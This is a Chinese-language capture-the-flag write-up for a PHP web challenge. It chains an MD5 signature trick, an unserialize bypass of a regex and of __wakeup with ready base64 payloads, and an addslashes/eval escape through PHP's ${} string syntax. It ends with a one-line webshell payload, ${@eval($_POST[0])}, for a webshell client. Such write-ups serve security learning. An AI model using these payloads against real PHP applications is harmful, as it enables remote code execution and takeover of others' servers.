url参数
index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb
you are 123;if you are not 123,you can get the flag<br>
<!--$hash=md5($sign.$key);the length of $sign is 8
- cmd5解一下这个hash:kkkkkk01123(不知道爆破要多久?)
- 随便构造一个key比如456
<?php
echo md5("kkkkkk01456");//2a5414055268d6f1f82288af38e5ce4e
?>
- 提交一下,得到提示
Gu3ss_m3_h2h2.php
index.php?key=456&hash=2a5414055268d6f1f82288af38e5ce4e
反序列化绕过
Gu3ss_m3_h2h2.php源码
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>
- 构造反序列化字符串
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
$a = new Demo("f15g_1s_here.php");
echo serialize($a)."\n";
echo base64_encode(serialize($a));
?>
- 这里如果直接打印字符串有有一个奇怪的输出:
O:4:”Demo”:1:{s:10:NULDemoNULfile”;s:16:”f15g_1s_here.php”;}
有两个NUL(%00)字符导致对整个字符串操作起来很麻烦,复制的时候会被截断。后来知道这个NUL字符是对类中private这种私有成员的序列化后的一个标记。所以最好的办法就是给字符串转成base64然后在burp里的编码工具操作,可以转成ascii和修改十六进制。
这里有更奇怪的实验,我先把file的属性改成public,生成一个序列化字符串,然后我再发file的属性改回private,然后用刚才那个字符串反序列化后居然生成可两个对象。(待讨论)
- 绕过正则匹配
preg_match('/[oc]:\d+:/i', $var);
- [xyz] 字符集合。匹配所包含的任意一个字符。例如,“[abc]”可以匹配“plain”中的“a”
- :就是冒号
- \d是匹配一个数字字符相当于[0-9]
- +匹配前面子表达式一次或多次
所以这个其实匹配了序列化字符串开始的部分O:4:
尝试了O:0x4:失败
最后用O:+4:绕过
O:+4:”Demo”:1:{s:10:NULDemoNULfile”;s:16:”f15g_1s_here.php”;}
- 绕过__wakeup()方法
修改序列化字符串中对象的个数,使其不正确即可
O:+4:”Demo”:2:{s:10:NULDemoNULfile”;s:16:”f15g_1s_here.php”;}
- base64编码后提交(burp工具里改)
从最早没有修改过的base64入手
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjE2OiJmMTVnXzFzX2hlcmUucGhwIjt9
改完如下,提交得到f15g_1s_here.php源码
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
绕过addslashes
f15g_1s_here.php源码
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}
?>
- 分析最后会拼出一个$value=”xxxx”;的php语句来执行
- addslashes()这个方法会在单引号(’)、双引号(”)、反斜线(\)与NUL(NULL字符)前添加反斜杠。
- 想用宽字节把双引号逃逸出来,然后就可以命令注入了。类似
%df%22phpinfo();//
这种,发现并没用。
php黑魔法之双引号
这里其实用到一个php的黑魔法就是在双引号包含的字符串中运行一个函数。例子如下:
<?php
$a = 'hello';
echo "$a";
?>
这里会输出hello
,由于双引号的包裹可以导致$符号后面的字符被理解为变量,而打印出变量内容。单引号无效。
<?php
$a = 'hello';
$$a = 'world';
echo "$a";
echo "$$a";
?>
输出为hello$hello
,说明双引号中的连用的$符号只能被解析一次,不能被嵌套。
<?php
$a = 'hello';
$$a = 'world';
echo "$a";
echo "${$a}";
?>
输出为helloworld
,这里用大括号将$符号进行隔开,使其可以被嵌套解析。这里大括号的作用是在变量间接引用中进行定界。
<?php
$var="${phpinfo()}";
?>
那么问题来了,这里为什么会执行phpinfo()呢?
- 首先双引号包裹并存在$符号,于是$等着被解析成变量
- 存在大括号定界,$符号的的变量名就是{}中的内容了
- 但是大括号里是一个函数,于是该函数的返回结果才是$认为的变量名(php就是这么奇怪),于是函数被运行。
综上php双引号中可以直接执行函数!将函数用${}包裹即可!
//最后这题payload如下,然后菜刀
?val=${@eval($_POST[0])}